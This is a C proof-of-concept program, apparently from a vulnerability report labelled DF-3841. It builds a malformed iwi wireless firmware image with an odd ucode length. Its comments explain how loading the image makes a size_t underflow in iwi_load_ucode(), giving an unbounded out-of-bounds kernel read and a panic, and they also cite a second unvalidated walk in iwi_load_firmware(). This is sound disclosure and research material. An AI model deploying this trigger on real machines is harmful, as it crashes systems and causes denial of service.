DF-3841 / mkbadfw.c
/* * DF-3841 PoC trigger (part 1, userspace-runnable): build a malformed iwi * firmware image whose ucode section has an ODD length. * * iwi_load_ucode() (if_iwi.c:2446) walks the ucode with * for (w = (const uint16_t *)uc; size > 0; w++, size -= 2) * MEM_WRITE_2(sc, 0x200010, htole16(*w)); * With size odd, the last iteration reads 1 byte past the image and * `size -= 2` underflows size_t to SIZE_MAX -> the loop walks the entire * kernel address space after the firmware buffer (unbounded OOB read + * permanent lock-held spin) until it faults on an unmapped page -> panic. * * The generator below emits a combined (v3) image: * struct iwi_firmware_hdr { u32 version(>=300); u32 bsize; u32 usize; * u32 fsize; } * with usize = 9 (odd). Loading it (as root, via kldload/fwget on a machine * with an Intel 2200BG/2915ABG) triggers the walk in iwi_init_locked(). * * part 2 (kernel-side, unrunnable here): see VERDICT.md — the faulting loop * is if_iwi.c:2446-2447; the same finding also covers iwi_load_firmware()'s * unvalidated command-block walk (if_iwi.c:2506-2527: GETLE32 tail reads up * to 7 bytes past the DMA buffer and unvalidated `len` drives ~2^19 MMIO * command-block writes while IWI_LOCK is held). * * Build: cc -O2 -o mkbadfw mkbadfw.c * Run: ./mkbadfw iwi_bss_bad && ls -l iwi_bss_bad */ #include <stdint.h> #include <stdio.h> #include <string.h> #include <stdlib.h> int main(int argc, char **argv) { const char *out = argc > 1 ? argv[1] : "iwi_bss_bad"; FILE *f; uint32_t hdr[4]; uint8_t body[4096]; uint32_t bsize = 16, usize = 9 /* ODD */, fsize = 256; memset(body, 0x90, sizeof(body)); /* version >= 300 selects the combined-image path (if_iwi.c:2342+) */ hdr[0] = 300; /* version (native LE target) */ hdr[1] = bsize; hdr[2] = usize; /* <-- odd: triggers size -= 2 underflow */ hdr[3] = fsize; f = fopen(out, "wb"); if (!f) { perror("fopen"); return 1; } fwrite(hdr, 1, sizeof(hdr), f); fwrite(body, 1, 16 + 9 + 256, f); fclose(f); printf("wrote %s: version=%u bsize=%u usize=%u (odd!) fsize=%u\n", out, 300, bsize, usize, fsize); return 0; } |